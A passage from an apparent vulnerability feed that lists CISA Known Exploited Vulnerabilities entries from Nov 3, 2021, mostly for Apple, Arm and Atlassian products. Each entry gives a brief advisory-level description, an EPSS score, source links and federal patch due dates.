EPSS 76.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-30860&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-30860: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-30860&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2020-27930
Apple Multiple Products Memory Corruption Vulnerability (Nov 3, 2021).
Apple iOS, iPadOS, macOS, and watchOS FontParser contain a memory corruption vulnerability which may allow for code execution when processing maliciously crafted front.
EPSS 22.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-27930&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-27930: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-27930&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2021-30807
Apple Multiple Products Memory Corruption Vulnerability (Nov 3, 2021).
Apple iOS, iPadOS, macOS, and watchOS IOMobileFrameBuffer contain a memory corruption vulnerability which may allow an application to execute code with kernel privileges.
EPSS 28.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-30807&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-30807: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-30807&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Memory Initialization Vulnerability
https://kevwire.com/record/CVE-2020-27950
Apple Multiple Products Memory Initialization Vulnerability (Nov 3, 2021).
Apple iOS, iPadOS, macOS, and watchOS contain a memory initialization vulnerability that may allow a malicious application to disclose kernel memory.
EPSS 16.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-27950&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-27950: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-27950&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Type Confusion Vulnerability
https://kevwire.com/record/CVE-2020-27932
Apple Multiple Products Type Confusion Vulnerability (Nov 3, 2021).
Apple iOS, iPadOS, macOS, and watchOS contain a type confusion vulnerability that may allow a malicious application to execute code with kernel privileges.
EPSS 10.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-27932&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-27932: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-27932&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple iOS, iPadOS, and watchOS Out-of-Bounds Write Vulnerability
https://kevwire.com/record/CVE-2020-9818
Apple iOS, iPadOS, and watchOS Out-of-Bounds Write Vulnerability (Nov 3, 2021).
Apple iOS, iPadOS, and watchOS Mail contains an out-of-bounds write vulnerability which may allow memory modification or application termination when processing a maliciously crafted mail message.
EPSS 2.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-9818&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-9818: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-9818&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple iOS, iPadOS, and watchOS Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2020-9819
Apple iOS, iPadOS, and watchOS Memory Corruption Vulnerability (Nov 3, 2021).
Apple iOS, iPadOS, and watchOS Mail contains a memory corruption vulnerability that may allow heap corruption when processing a maliciously crafted mail message.
EPSS 2.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-9819&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-9819: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-9819&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple iOS WebKit Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2021-30762
Apple iOS WebKit Use-After-Free Vulnerability (Nov 3, 2021).
Apple iOS WebKit contains a use-after-free vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.
EPSS 11.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-30762&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-30762: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-30762&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Race Condition Vulnerability
https://kevwire.com/record/CVE-2021-1782
Apple Multiple Products Race Condition Vulnerability (Nov 3, 2021).
Apple iOS, iPadOs, macOS, watchOS, and tvOS contain a race condition vulnerability that may allow a malicious application to elevate privileges.
EPSS 2.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-1782&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-1782: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-1782&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple iOS, iPadOS, and macOS WebKit Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2021-1870
Apple iOS, iPadOS, and macOS WebKit Remote Code Execution Vulnerability (Nov 3, 2021).
Apple iOS, iPadOS, and macOS WebKit contain an unspecified logic vulnerability that allows a remote attacker to execute code. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.
EPSS 7.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-1870&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-1870: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-1870&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple iOS, iPadOS, and macOS WebKit Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2021-1871
Apple iOS, iPadOS, and macOS WebKit Remote Code Execution Vulnerability (Nov 3, 2021).
Apple iOS, iPadOS, and macOS WebKit contain an unspecified logic vulnerability that allows a remote attacker to execute code. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.
EPSS 7.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-1871&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-1871: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-1871&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple iOS, iPadOS, and watchOS WebKit Cross-Site Scripting (XSS) Vulnerability
https://kevwire.com/record/CVE-2021-1879
Apple iOS, iPadOS, and watchOS WebKit Cross-Site Scripting (XSS) Vulnerability (Nov 3, 2021).
Apple iOS, iPadOS, and watchOS WebKit contain an unspecified vulnerability that allows for universal cross-site scripting (XSS) when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.
EPSS 7.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-1879&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-1879: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-1879&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products WebKit Storage Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2021-30661
Apple Multiple Products WebKit Storage Use-After-Free Vulnerability (Nov 3, 2021).
Apple iOS, iPadOS, macOS, tvOS, watchOS, and Safari WebKit Storage contain a use-after-free vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.
EPSS 4.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-30661&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-30661: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-30661&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple iOS WebKit Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2021-30666
Apple iOS WebKit Buffer Overflow Vulnerability (Nov 3, 2021).
Apple iOS WebKit contains a buffer-overflow vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.
EPSS 3.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-30666&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-30666: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-30666&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple macOS Unspecified Vulnerability
https://kevwire.com/record/CVE-2021-30713
Apple macOS Unspecified Vulnerability (Nov 3, 2021).
Apple macOS Transparency, Consent, and Control (TCC) contains an unspecified permissions issue which may allow a malicious application to bypass privacy preferences.
EPSS 7.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-30713&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-30713: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-30713&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple macOS Unspecified Vulnerability
https://kevwire.com/record/CVE-2021-30657
Apple macOS Unspecified Vulnerability (Nov 3, 2021).
Apple macOS contains an unspecified logic issue in System Preferences that may allow a malicious application to bypass Gatekeeper checks.
EPSS 68.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-30657&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-30657: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-30657&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products WebKit Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2021-30665
Apple Multiple Products WebKit Memory Corruption Vulnerability (Nov 3, 2021).
Apple iOS, iPadOS, macOS, watchOS, and tvOS WebKit contain a memory corruption vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.
EPSS 3.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-30665&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-30665: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-30665&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products WebKit Integer Overflow Vulnerability
https://kevwire.com/record/CVE-2021-30663
Apple Multiple Products WebKit Integer Overflow Vulnerability (Nov 3, 2021).
Apple iOS, iPadOS, macOS, tvOS, and Safari WebKit contain an integer overflow vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.
EPSS 3.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-30663&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-30663: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-30663&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple iOS WebKit Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2021-30761
Apple iOS WebKit Memory Corruption Vulnerability (Nov 3, 2021).
Apple iOS WebKit contains a memory corruption vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.
EPSS 10.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-30761&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-30761: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-30761&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple iOS, iPadOS, and macOS Type Confusion Vulnerability
https://kevwire.com/record/CVE-2021-30869
Apple iOS, iPadOS, and macOS Type Confusion Vulnerability (Nov 3, 2021).
Apple iOS, iPadOS, and macOS contain a type confusion vulnerability in the XNU which may allow a malicious application to execute code with kernel privileges.
EPSS 4.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-30869&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-30869: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-30869&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Code Execution Vulnerability
https://kevwire.com/record/CVE-2020-9859
Apple Multiple Products Code Execution Vulnerability (Nov 3, 2021).
Apple iOS, iPadOS, macOS, watchOS, and tvOS contain an unspecified vulnerability that may allow an application to execute code with kernel privileges.
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-9859&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-9859: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-9859&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Arcadyan Buffalo Firmware Path Traversal Vulnerability
https://kevwire.com/record/CVE-2021-20090
Arcadyan Buffalo Firmware Path Traversal Vulnerability (Nov 3, 2021).
Arcadyan Buffalo firmware contains a path traversal vulnerability that could allow unauthenticated, remote attackers to bypass authentication and access sensitive information. This vulnerability affects multiple routers across several different vendors.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-20090&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-20090: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-20090&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Arm Trusted Firmware Out-of-Bounds Write Vulnerability
https://kevwire.com/record/CVE-2021-27562
Arm Trusted Firmware Out-of-Bounds Write Vulnerability (Nov 3, 2021).
Arm Trusted Firmware contains an out-of-bounds write vulnerability allowing the non-secure (NS) world to trigger a system halt, overwrite secure data, or print out secure data when calling secure functions under the non-secure processing environment (NSPE) handler mode. This vulnerability affects Yealink Device Management servers.
EPSS 3.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-27562&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-27562: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-27562&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Arm Mali Graphics Processing Unit (GPU) Unspecified Vulnerability
https://kevwire.com/record/CVE-2021-28664
Arm Mali Graphics Processing Unit (GPU) Unspecified Vulnerability (Nov 3, 2021).
Arm Mali Graphics Processing Unit (GPU) kernel driver contains an unspecified vulnerability that may allow a non-privileged user to gain write access to read-only memory, gain root privilege, corrupt memory, and modify the memory of other processes.
EPSS 5.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-28664&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-28664: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-28664&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Arm Mali Graphics Processing Unit (GPU) Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2021-28663
Arm Mali Graphics Processing Unit (GPU) Use-After-Free Vulnerability (Nov 3, 2021).
Arm Mali Graphics Processing Unit (GPU) kernel driver contains a use-after-free vulnerability that may allow a non-privileged user to make improper operations on GPU memory to gain root privilege, and/or disclose information.
EPSS 12.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-28663&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-28663: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-28663&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Atlassian Confluence Server and Data Center Path Traversal Vulnerability
https://kevwire.com/record/CVE-2019-3398
Atlassian Confluence Server and Data Center Path Traversal Vulnerability (Nov 3, 2021).
Atlassian Confluence Server and Data Center contain a path traversal vulnerability in the downloadallattachments resource that may allow a privileged, remote attacker to write files. Exploitation can lead to remote code execution.
EPSS 97.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-3398&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-3398: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-3398&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
